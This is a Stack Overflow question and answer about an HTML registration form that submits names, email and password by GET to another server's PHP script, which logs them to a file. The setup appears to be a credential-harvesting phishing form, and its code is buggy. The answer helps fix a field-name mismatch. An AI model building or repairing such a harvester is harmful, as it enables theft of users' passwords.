-2

I make form registeration with html but i get some problem to GET information of value using PHP, the problem come when i need grap a value of html to other server and saving it into txt or log file maybe someone who knows and want to tell me where is wrong with my code

<form action="http://otherserver/memek/info.php?log=" method="get" id="form-validate">
        <div class="fieldset">
            <input name="success_url" value="" type="hidden">
            <input name="error_url" value="" type="hidden">
            <h2 class="legend">Personal Information</h2>
            <ul class="form-list">
                <li class="fields">
                    <div class="customer-name">
    <div class="field name-firstname">
        <label for="firstname" class="required"><em>*</em>First Name</label>
        <div class="input-box">
            <input id="firstname" name="firstname" value="" title="First Name" maxlength="255" class="input-text required-entry" type="text">
        </div>
    </div>
    <div class="field name-lastname">
        <label for="lastname" class="required"><em>*</em>Last Name</label>
        <div class="input-box">
            <input id="lastname" name="lastname" value="" title="Last Name" maxlength="255" class="input-text required-entry" type="text">
        </div>
    </div>
</div>

<button type="submit" title="Submit" class="button"><span><span>Submit</span></span></button>

and for PHP on otherserver file is

<?php 
$txt = "reg.log";  
if (isset($_GET["log"]) && isset($_GET["firstname"]) && isset($_GET["lastname"]) && isset($_GET["email"]) && isset($_GET["password"])) { 
$firstname = $_GET["fname"]; 
$lastname = $_GET["lname"]; 
$email = $_GET["email"]; 
$password = $_GET["password"]; 
echo $firstname .PHP_EOL. $lastname .PHP_EOL. $email .PHP_EOL. $password; 
$fh = fopen($txt, 'a');  
fwrite($fh,$txt); // Write information to the file 
fclose($fh); // Close the fil 
} 
?>

the code not error but on log file i dont get info from a value i need get value from url like this http://otherserver.com/info.php?log=firstname=John&lastname=Thor

how I can get results to my log file with that url information

Thanks

1 Answers1

0

Spot the difference:

<input id="firstname" name="firstname" value="" title="First Name" maxlength="255" class="input-text required-entry" type="text">
                       ^^^^^^^^^^^^^^

$firstname = $_GET["fname"]; 
                    ^^^^^^^

Perhaps if you'd done ANY kind of basic debugging, you'd have have noticed the "undefined index" warnings PHP would have been issuing for this.

Marc B
  • 356,200
  • 43
  • 426
  • 500